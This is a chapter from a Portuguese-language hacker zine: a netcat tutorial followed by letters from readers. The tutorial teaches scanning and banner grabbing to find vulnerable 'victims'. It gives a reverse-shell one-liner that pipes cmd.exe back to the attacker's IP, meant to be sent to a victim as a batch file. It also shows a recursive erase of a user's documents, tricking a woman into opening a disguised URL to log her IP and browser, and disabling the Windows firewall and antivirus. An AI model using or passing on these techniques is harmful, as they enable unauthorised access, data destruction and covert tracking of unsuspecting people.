@echo off :Magic set Magic_word=Queijo set /p palavra_magica=Digite a palavra magica ai manoh: if /I %palavra_magica% EQU %Magic_word% ( exit ) ELSE ( echo Esta Magic_word esta... Errada!! =] & pause) goto :Magic --- cut nessa porra here =) --- C:\Documents and Settings\David>nc -L -p 789 -vv -e \sangue_baum.bat listening on [any] 789 ... DNS fwd/rev mismatch: localhost != Violator connect to [127.0.0.1] from localhost [127.0.0.1] 1807 Cliente: Digite a palavra magica ai manoh: < ---- hauhauha!!! ------ > Varrendo hosts com o netcat < ------ C:\Documents and Settings\David>nc -z -vv 127.0.0.1 20-22 DNS fwd/rev mismatch: localhost != Violator localhost [127.0.0.1] 22 (?): connection refused localhost [127.0.0.1] 21 (ftp) open localhost [127.0.0.1] 20 (ftp-data): connection refused sent 0, rcvd 0: NOTSOCK To varrendo da porta 22 a porta 20 do meu addr de loopback, regredindo manoh. O '-z' foi usado ai pro netcat num parar na porta de algum serviço, ou seja, assim ele conecta e desconecta. Sem o '-z': C:\Documents and Settings\David>nc -vv 127.0.0.1 20-22 DNS fwd/rev mismatch: localhost != Violator localhost [127.0.0.1] 22 (?): connection refused localhost [127.0.0.1] 21 (ftp) open 220-Microsoft FTP Service ========================= Bem vindo ao Machinered 220 ========================= Sacou manoh!? Usei duas verboses ai para obter mais informações sobre o scan. Se quizermos obter na shell, a saida somente com portas abertas no host varrido, utilizamos apenas uma verbose: C:\Documents and Settings\David>nc -z -v 127.0.0.1 10-25 DNS fwd/rev mismatch: localhost != Violator localhost [127.0.0.1] 25 (smtp) open localhost [127.0.0.1] 23 (telnet) open localhost [127.0.0.1] 21 (ftp) open Very easy! Mas para a galerinha que ta começando é sempre bom ver o nome dos protocolos e as suas respectivas portas "padrões", por isso não recomento o uso de uma verbose por parte dos iniciantes =) -------- > Com o -n < -------- (UNKNOWN) [127.0.0.1] 22 (?): connection refused (UNKNOWN) [127.0.0.1] 21 (?) open (UNKNOWN) [127.0.0.1] 20 (?): connection refused sent 0, rcvd 0: NOTSOCK Repara aqui manoh! -> 21 (?) <- O netcat num mostrar nem o nome do serviço, quando vc ta usando a opt -n :P -------- > Sem o -r < -------- C:\Documents and Settings\David>nc -z -vv 127.0.0.1 20-25 DNS fwd/rev mismatch: localhost != Violator localhost [127.0.0.1] -> 25 <- (smtp): connection refused localhost [127.0.0.1] -> 24 <- (?): connection refused localhost [127.0.0.1] -> 23 <- (telnet) open localhost [127.0.0.1] -> 22 <- (?): connection refused localhost [127.0.0.1] -> 21 <- (ftp) open localhost [127.0.0.1] -> 20 <- (ftp-data): connection refused sent 0, rcvd 0: NOTSOCK -------- > Com o -r < -------- C:\Documents and Settings\David>nc -z -r -vv 127.0.0.1 20-25 DNS fwd/rev mismatch: localhost != Violator localhost [127.0.0.1] -> 21 <- (ftp) open localhost [127.0.0.1] -> 22 <- (?): connection refused localhost [127.0.0.1] -> 24 <- (?): connection refused localhost [127.0.0.1] -> 25 <- (smtp): connection refused localhost [127.0.0.1] -> 20 <- (ftp-data): connection refused localhost [127.0.0.1] -> 23 <- (telnet) open sent 0, rcvd 0 Repare bem na sequencia =) ------->Usando o -w<------- Bem, vamos supor que por algum motivo qualquer voce queira ver os banners dos serviços nox host'x remotos na hora da varredura, eu até entenderia isso, pois pode ser uma boa auternativa se tratando de ataque de footprint ;) C:\Documents and Settings\David>nc -w 1 -r -vv 127.0.0.1 20-25 DNS fwd/rev mismatch: localhost != Violator localhost [127.0.0.1] 20 (ftp-data): connection refused localhost [127.0.0.1] 25 (smtp) open 220 Sendmail 8.11.13 < -- Banner gerado por um honeypot de baixa interatividade localhost [127.0.0.1] 22 (?): connection refused localhost [127.0.0.1] 24 (?): connection refused localhost [127.0.0.1] 21 (ftp) open 220-Microsoft FTP Service ========================= Bem vindo ao Machinered 220 ========================= net timeout localhost [127.0.0.1] 23 (telnet) open %$3222@!!# net timeout < -- Representando o's Lixos (ASCII's) sent 0, rcvd 141: NOTSOCK Explicação: nc -w 1 -r -vv 127.0.0.1 20-25 --> Varre da porta 20 a 25 romdomizando as portas, se conecta, exibe o banner e disconnect depois de 1 seg ;] Achu que Servidores, costumam mostrar seus nomes e suas versoes no banner manoh!! Imagina ai aqueles servers velhos de guerra vulveraveis a overflow, como o ->'Sami FTP Server'<- Se voce encontrar alguns destes, pode até conseguir acesso ao sistema do camarada "remotamente" utilizando algun exploit, ou simplesmente derrubalos enviando buffer's diabolicos com grandes quantidades de bytes Atenção: --> (D.O.S é coisa de Kiddie ;) <-- Só os banners manoh! C:\Documents and Settings\David>nc -w 1 -v 127.0.0.1 20-25 DNS fwd/rev mismatch: localhost != Violator localhost [127.0.0.1] 25 (smtp) open 220 Sendmail 8.11.13 -- > Essa porra de "Sendmail" tem mais bug que formigueiro Pergunta: Por que alguém usaria um servidor telnet que não seja o do windows? Fauta de conhecimento? Yes! É disso que precisamos, precisamos de vitimas que não saibam o que estão fazendo :P localhost [127.0.0.1] 23 (telnet) open lixo%¨&*9854 < --- Monte de lixo :P localhost [127.0.0.1] 21 (ftp) open 220 Eu_sou-vulneravel-ftp 1.7.0 --> Temos aqui a versão 1.7.0 do programa Eu_sou-vulneravel-ftp, e que todos sabem que é vulneralvel (menos o sysop do host rsrs) O -w é muito bom pra brincar de dar um tempo para um cliente-side fazer o que quizer no seu sistema, tipo, um amigo foi brincar disso comigo e se arrependeu :] ----------------------------------------------------------------------------- ----> erase /F /S /P "%HOMEPATH%\Meus documentos" <---- ----------------------------------------------------------------------------- C:\Documents and Settings\David>erase /F /S /P "%HOMEPATH%\Meus documentos" C:\Documents and Settings\David\Meus documentos\connect.cpp, Excluir (S/N)? S <- Fudeu! :] Arquivo excluído - C:\Documents and Settings\David\Meus documentos\connect.cpp C:\Documents and Settings\David\Meus documentos\elhacker.net.url, Excluir (S/N)? <- Ctrl+c for jump C:\Documents and Settings\David\Meus documentos\Explorer.scf, Excluir (S/N)? n <- Bonzinho ^^ C:\Documents and Settings\David\Meus documentos\IMAGEM!!!.JPG, Excluir (S/N)? n <- 1 Angel ^^ C:\Documents and Settings\David\Meus documentos\Netstat.cpp, Excluir (S/N)? <- Ctrl+c [jump] C:\Documents and Settings\David\Meus documentos\Netstat.exe, Excluir (S/N)? < -- Jump C:\Documents and Settings\David\Meus documentos\Netstat.zip, Excluir (S/N)? < -- Jump C:\Documents and Settings\David\Meus documentos\Readme.txt, Excluir (S/N)? < -- Jump TIRA O ->'/P'<- MANOH! :] Conexão reversa usando o netcat ;] No seu host deixe duas portas listening C:\>nc -L -p 1 -vv listening on [any] 1 ... < ------Receberá-a-conexão----------- + C:\>nc -L -p 2 -vv listening on [any] 1 ... < ------Receberá-a-conexão----------- + Manda pra vitima algo do tipo compilado ou em 'batch' mesmo: nc ->inet_addr<- 1 | cmd.exe | nc ->inet_addr<- 2 Onde inet_addr é o seu endereço logico = ->IP<- Para testar use seu end de loopback, ficando assim: nc 127.0.0.1 1 | cmd.exe | nc 127.0.0.1 2 ====================================== C:\>nc -L -p 1 -vv listening on [any] 1 ... DNS fwd/rev mismatch: localhost != Violator connect to [127.0.0.1] from localhost [127.0.0.1] 1933 ====================================== C:\>nc -L -p 2 -vv listening on [any] 2 ... DNS fwd/rev mismatch: localhost != Violator connect to [127.0.0.1] from localhost [127.0.0.1] 1934 Microsoft Windows XP [versão 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\David> ====================================== C:\>nc -L -p 1 -vv listening on [any] 1 ... DNS fwd/rev mismatch: localhost != Violator connect to [127.0.0.1] from localhost [127.0.0.1] 1946 dir <---- Executa os command's nessa shell manoh! e ->Olha a saida na outra<- []==xXx========[ ******* ]========xXx==[] ---- > Sniffer with netcat < ---- x x x []==xXx========[ ******* ]========xXx==[] Use um redirecionador de url qualquer e mande seu endereço IP "disfarçado" para a vitima :] Tipo assim, manda pra uma mina (vitima = Feminino -> Que cara maxista =) uma url bem loca, algo mais ou menos do tipo: quero_seu_ip_gostosa.4-all.org Se liga no FQDN ->Grates!!<- Se liga no dominio ->Se cadastra!<- A Parada é essa truta: nc -L -p 80 -vv > \daemon_log.log Se liguem que a porta de servidor de web é a 80 (http), os browser's por default costumam se conectar nos host's da vida pela porta 80, ou seja -> Porta que está em listen no seu host. Vc's lembram que com verbose o netcat mostra o endereço IP do cliente-side quando ele se conecta? Entaum... Bingo!! ---> http://localhost <--- C:\Documents and Settings\David>nc -L -p 80 -vv >> \daemon_log.log listening on [any] 80 ... DNS fwd/rev mismatch: localhost != Violator connect to [127.0.0.1] from localhost [127.0.0.1] 2004 Reparem que utilizei um redirecionador para jogar a saida (result's) para o arquivo daemon_log.log na minha raiz ('\'). Vamos ver os logs: C:\Documents and Settings\David>type \daemon_log.log GET / HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1) Gecko/20061010 Firefox/2.0 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: pt-br,pt;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive ->PARA QUEM GOSTA DE FOOTPRINT AI É UM PRATO CHEIO MANOH!<- User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1) Gecko/20061010 Firefox/2.0 Tem exploit que so funfa para determinados browser's (Mozilla/5.0), determinados OS's (Windows) e podem ser apenas para certo idioma (pt-BR), pois as vezes fica complicado achar uma falha universal e tals ;) Lembrando que o nc re-bindea a porta para aguardar + vitimas ;] E já que o redirecionador '>>' sempre acrescenta novos bytes no final do arquivo, eu posso ter uma grande lista de endereços IPs e informações de browsers, OS's e etc se eu tiver um pingo de raciocinio em minha mente... e se meu MSN estiver --> movimentado =) <-- Acho melhor que estabelecer uma conexão usando VOIP, mandar link sempre da menos na telha ^^. Tipo, com o netstat c pode pegar um IP, C vai mandar uma foto, sua maquina vai mandar um SYN pro host, então o netstat imprime um -> SYN_SENT <- e tal's, mas se vc naum tiver um bom queixo, a vitima desconfia dessas fotinhas e tals, e para justificar url furada é mais facil manoh!! =) Detalhes, Detalhes Manoh! Se liga! Se a vitima estiver usando um proxy, voce vai pegar o IP do proxy cara, e como eu estava falando, se ela de um netstat ela pega teu IP facim, facim, porque ai vai rolar um bacanal ( Proto Endereço local Endereço externo Estado TCP Violator:http localhost:2031 ESTABLISHED) sacou? Ou até mesmo um: Proto Endereço local Endereço externo Estado TCP 127.0.0.1:80 127.0.0.1:2031 ESTABLISHED Loopback é foda Xp --->Mais detalhes<--- Tu naum vai pensando que é 100% maravilhas mexer com o netcat naum manoh. Se liga c tu consegue abrir as portas da vida, ou seja -> se liga no firewall manoh! Para desabilitar o fw do windows (default), basta digitar -> net stop sharedaccess <- e katapimba! Caso for o zone alarm e essas paradinhas da vida, tenta usar um killer, procura o que o Royall codou. Achu que mata mais de 500's, um amigo disse que era 10 mil XPXPXP Eita!! Nunca parei para contar ^^, mas o batch é muito loco msm, num vo postar lá no FTP proces, pq num to com sacow para procurar o killer. E tipo assim, escrever textos contendo link's furados eh fogo, my's txt's tem que ser eternamente perfect's (Mas porque o: http://www.hunterhacker.xpg.com.br/22.zip?) (Porque eu quiz porr4! X). ah! Parece que a vQue eu tenho, num pega o KasperSky pq ele ta apelando (foi isso que eu ouvi la no forum =) --- > Enviando e recebendo arquivos (and ASCII's in Shell ) <-- Esse negocio de env(f)iando e recebendo pode lhes parecer um tanto quanto.... Imundo!! Mas tipo assim, é verdade XP. Se liga ai: Exemplo de 'printf' em string'x nos files (ASCII'S): C:\Documents and Settings>echo Hi Guys! > \my_file.diz & nc -l -p 6969 -vv < \my_file.diz listening on [any] 6969 ... -> telnet 127.0.0.1 6969 <- Hi Guys! --- > Na janela do shell _ DNS fwd/rev mismatch: localhost != Violator connect to [127.0.0.1] from localhost [127.0.0.1] 2095 sent 12, rcvd 0 < -- Detalhe manoh! Quando estamos escutando em uma porta e rebindeando a mesma, 'ou não', -> podemos visualizar relatorios de envio (send) e recebimento (recv =) dos dados na conexão passada, usando duas verboses (-vv) manoh: sent 12, rcvd 0 sent -> Enviado rcvd -> Recebido Ja que minha anterior sintaxe de conexão foi 'apenas' para 'conectar' (lolz), assim lendo o conteudo no arquivo 'my_file.diz' -> na shell, vamos utilizar o netcat para pegar o file agora: C:\Documents and Settings\David>nc 127.0.0.1 6969 > \file.diz ^C < -- Ctrl + C (Ja peguei o file msm :P eh he he...) C:\Documents and Settings\David>type \file.diz Hi Guys! sent 12, rcvd 0 <-- Só pra dar um verniz, que se pode obter os dados do trafego na janela servidora ( ->Por causa das "duas" verboses<- ) ;] Ei! Isso também funfa com binario viu manoh! Claro que vc sacou, nem precisava ter falado ;) Manja a sintaxe ae manoh (-w 3): C:\Documents and Settings\David>nc -w 3 127.0.0.1 6969 > \file.diz Achu que em 3 sec's da pra pegar dboa o my_file.diz e passar pro outro lado como -> file.diz X-). Lembrando que utilizei o -w Wait -> 'no cliente-side' <-.O> -.- --- > File flood ahuahuah! < --- -.- Putz, com essa historia de file flood eu fui floodado no dk (me baniram hauhauha!!), zuera, num foi por causa dissU naum, mas dexa qetu. Tipo, num é um file flood naum, é...como eu posso dizer... um repositorio de string que voce terá do outro lado, tipo assim, manda tua mina se conectar e começar a escrever sobre a relação nesse texto que será armazenado num file do outro lado (server-side), pq tu ta de saida e tals: C:\Documents and Settings>nc -l -p 222 -vv > escreve_pirada.txt listening on [any] 222 ... Pirada -> nc 127.0.0.1 222 Escreveu no shell -> Vou comer seu figado cretino!! connect to [127.0.0.1] from localhost [127.0.0.1] 2162 sent 0, rcvd 31 < -- =) O bom de voce utilizar o nc para se conectar nas coisas está ai amigos, tipo, com o telnet voce nao conseguiria ver o que estava escrevendo, ja com o netcat sim!! Sem duvida, o melhor cliente de qualquer coisa é o netcat, tipo, se ainda não achou algum servidor que ele num connect bem :P, adapta ele =) Ainda existe diversas coisas maneiras, mas eu paro por aqui!!! Tipo, tem muuuita coisa mesmo irmãos, o netcat pode ser usado para tudo! Cliente POP, FTP, etc. O escabal manoh! Espero que tenham gostado de mais um txt meu, e espero muito continuar escrevendo a zine para todos voces evoluirem com o que eu um dia gostei de aprender, assim também evoluindo =) Ei, achu que estou esquecendo de alguma coisa... Ah! Lembrei: Netcat Linux Opa, vamos começar baixando a ferramenta ^^... Baixa o netcat para linux ai manoh! ehehe. Nao tenho nada contra o AV Killer do Royall, só que to com preguiça de postar e o netcat ja ta la no host e tals :] -> : http://www.hunterhacker.xpg.com.br/netcat-0.7.1.tar.gz Cara, descompacta essa parada ai e instala com -> ./configure && make && make install e faz tudo ai em cima descrito no texto, só que onde tem cmd.exe tu bota /bin/bash ou sh ou qualquer outro shell (Se bobear bota até o 'false' -> oh! <-_) prontu! Voce agora eh um hackão mais hackitico que existe :P 6_Bl4ck9_f0x6 Viper Corp Group ----- C4p1Tul0 16 [+ ====================================== +] -> MAIL BOX <- xxxxxxxxxxxxXXXxXXXxxxxxxxxxxxxxxxxxx [+ ====================================== +] De: ALIG_wicked Subject: Yo Raposa ... Entao velho naum esquenta com os post's ... O lance do video que quero fazer pra vc naum ter surpresa eh assim: Eu queria mostrar um outro mundo mais profissional... Honestamente vejo um potencial em ti ... desde que voce naum acabe indo pro lado da criminalidade. Naum estou dizendo que vc faz parte desse mundo ou que um dia fara'. Na verdade queria citar p q tive um amigo a uns 10 anos atras que acabou numa penitenciaria e viciado em coca. O cara manjava muito mais que eu ... ele tinha esse mesmo entusiamo que vejo em vc hoje. entao, Dias 22,23 e 24 ... estarei participando da Infosecurity Europe ( http://www.infosec.co.uk/ ) naum eh um evento tipo blackhat ou defcon .. na verdade eh um evento dos patroes dos caras que participam da blackhat e defcon ( hehehe ). Mais empresarial mesmo. Estarei lah p q como falei estou estruturando a minha propria empresa e vou atras de contactos e etc ... E vou postar aqui no ISTF. Mais boca de siri ateh lah... Sobre o projeto metasploit-br tah paradao ateh eu terminar as coisas da minha empresa. Tenho que ter foco ou naum termino nem uma coisa nem outra. Estou te mandando um livro sobre o metasploit razoavel caso vc naum tenha. Bem, acho que tu jah podes pular lah pra pagina 147 . Capitulo: Cases Estudies. Baixe aqui: http://rapidshare.com/files/103054431/Metasploit_Toolkit_-_Syngress.pdf.html Do meu lado, na verdade estah estacionando um tutorial que estou fazendo baseado num exemplo onde escrevemos um exploit do zero (com algumas modificacoes minhas) do livro ShellCoders . Muito ditadico. Apliquei ao metasploit ... mais como falei infelizmente naum posso mudar o foco das coisas que tenho fazer nesse momento. [s] --Andre. Resposta: Isso ai foi um MP que ele me mandou no ISTF, ou seja, se um de meus maiores idolos está dizendo que eu tenho potencial, isso significa que... eu realmente devo ter =) Sei que essa porra aqui não é um ->MPBox<- e sim ->MailBox<-, mas ta valendo, só estou me sentindo o tal =) Tipo assim, procurem saber mais sobre o Andre Amorim, vejam o seu site (OST pentest) e tals, dai voces me digam dpois se naum era para eu estar me achando eheheh. André: Voce é o cara manoh =) ========== X === X ========== De: Morticia Subject: Ei cara... Meu querido 6_Bl4ck9_f0x6, Gostaria muito de saber se pretende publicar algum texto meu em sua zine, é... é que eu gostaria muito de faze-la evoluir assim como voce evolui, nunca vi um menino conseguir ler um book daqueles que te passei em um dia e no outro dizer para mim que fez um soft maneiro baseado no que aprendeu... Como voce pode ter a cara de madeira de dizer que ainda faz o primeiro ano com 18 anos...? ce vc tem essa capacidade toda de raciocinio. Ainda vou em sua cidadezinha lhe ver meu caro, e vê se para de escrever em alguns textos seus que é meu fã, pois me parece que as coisas estão se invertendo...:) Um abraço moleque maneiro e não deixa de mandar noticias. Resposta: Enfim pessoal, temos aqui um classico caso de f3licidade multipla, DOIS de meus maiores idolos me elogiam...:) Morticia e André, ta fautando ainda aqui o nosso amigo Rodrigo Rubira (Eita!!! ), voodoo (Eita!!!) e nash leon (Eita!!!). Com relação aos seus textos Mort's, pretendo publica-los em um futuro bem proximo, seguinte, nessa zine aqui eu escrevo apenas coisas minhas (por enquanto), tenho ela mais como passa-tempo e tals, mas da proxima achu que vou abrir uma exceção, tenho varios textos da galera e até pouco tempo atraz tava afim de publica-los aqui, mas.... -> Os textos vão para a minha outra zine que brevemente estará saido na sua BSS mais proxima (Eita!!!), de onde desenterrei essa coisa ultrapassada de BSS? Afz, quem gosta de velharia é museu ;) Até a proxima edição da minha, da sua, da nossa revista hacker numero 1 baby...;) Ah! Um dia eu ainda vou ser da THC (Tomara manoh!! =). Hacking é uma arte ;) by 6_Bl4ck9_f0x6